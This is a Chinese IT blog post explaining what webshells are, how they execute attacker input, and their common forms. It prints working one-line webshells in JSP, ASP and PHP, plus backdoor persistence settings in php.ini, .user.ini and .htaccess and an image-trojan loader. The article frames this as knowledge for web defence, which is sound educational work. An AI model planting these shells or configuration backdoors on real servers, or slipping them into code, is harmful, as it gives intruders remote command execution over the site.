本文作者:心月

什么是webshell?以及webshell常见类型

心月IT博客 2019-03-06
摘要:1、什么是webshell webshell是web入侵的脚本攻击工具。简单的说来,webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后黑客就可以用web的方式,通过asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。

1、什么是webshell

    webshell是web入侵的脚本攻击工具。

    简单的说来,webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后黑客就可以用web的方式,通过asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。

    为了更好理解webshell我们学习两个概念:

    什么是“木马”?

    “木马”全称是“特洛伊木马(Trojan<BR>Horse)”,原指古希腊士兵藏在木马内进入敌方城市从而占领敌方城市的故事。

    在Internet上,“特洛伊木马”指一些程序设计人员在其可从网络上下载 (Download)的应用程序或游戏中,包含了可以控制用户的计算机系统的程序,可能造成用户的系统被破坏甚至瘫痪。

    什么是后门?

    大家都知道,一台计算机上有65535个端口,那么如果把计算机看作是一间屋子,那么这65535个端口就可以它看做是计算机为了与外界连接所开的65535 扇门。每个门的背后都是一个服务。有的门是主人特地打开迎接客人的(提供服务),有的门是主人为了出去访问客人而开设的(访问远程服务)——理论上,剩下的其他门都该是关闭着的,但偏偏由于各种原因,很多门都是开启的。于是就有好事者进入,主人的隐私被刺探,生活被打扰,甚至屋里的东西也被搞得一片狼迹。这扇悄然被开启的门——就是“后门”。

    webshell的优点

    webshell 最大的优点就是可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。


2、webshell的原理

①可执行脚本 

HTTP数据包($_GET、$_POST、$_COOKIES、$_SERVER[args]等)

②数据传递

③执行传递的数据 

a.直接执行(eval、system、passthru等) 

b.文件包含执行(include、require等) 

c.动态函数执行($a="phpinfo";$a();) 

d.Curly Syntax执行(${‘ls’}) 

e.preg_replace(第一个参数存在’/e’) 

f.ob_start函数 

g.回调函数(array_map等) 

h.反序列化(unserialize等)


3、webshell的分类

①根据文件大小分类:大马和小马(通常指的是一句话木马,能够使用菜刀这类工具去直接连接它) 
②根据脚本名称分类:jsp、asp、aspx、php 

jsp的简单的webshell:

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

asp的简单的webshell:

success!!!!<%eval request("cmd")%>

php的简单的webshell:

<?php
    $a=exec($_GET["input"]);    
    echo $a;
?>


4、webshell的常见类型

①php.ini隐藏后门

auto_prepend_file="/tmp/caidao.php"
auto_append_file="/tmp/caidao.php"

这两种都是相当于在php脚本头部include。 
注:auto_prepend_file 与 auto_append_file 只能require一个php文件,但在这个php文件内可以require多个其他的php文件。 

②.htaccess构成php后门

<FilesMatch "abc.jpg">//上传特定的文件只把它解析成为php

SetHandler application/x-httpd-php

</FilesMatch>
php_flag engine
AddHandler(AddHander php5-script .logs)
AddType application/x-httpd-php .png
SetHandler(<FilesMatch “_php.gif”>SetHandler application/x-httpd-php</FilesMatch>)
php_value auto_append_file /tmp/caidao.php

③user.ini隐藏后门(不需重启)

除了主php.ini之外,PHP还会在每个目录下扫描ini文件,从被执行的PHP文件所在目录开始一直上升到web根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的PHP文件在web根目录之外,则只扫描该目录。利用方式与php.ini相似。

auto_prepend_file="/tmp/caidao.php"  相当于在php脚本头部include
auto_append_file="/tmp/caidao.php"   相当于在php脚本底部include

④PHP代码开启标志缩写

将php.ini的short_open_tag参数设为On

<?=($_=@$_GET[2]).@$_($_GET[1])?>

⑤图片木马

<?php
    $wp__theme_icon=create_function('',file_get_contents('hacker.gif'));    
    $wp__theme_icon();
?>

注:这种方法不允许图片中有非法数据。

    只有了解了webshell的特点,才能已最小的代价高效的做好web防御。


文章版权及转载声明:

作者:心月 本文地址:http://www.xinyueseo.com/websecurity/156.html发布于 2019-10-21
文章转载或复制请以超链接形式并注明出处心月IT博客

分享到:
赞(

发表评论

快捷输入:

    评论列表 (有 0 条评论,人围观)参与讨论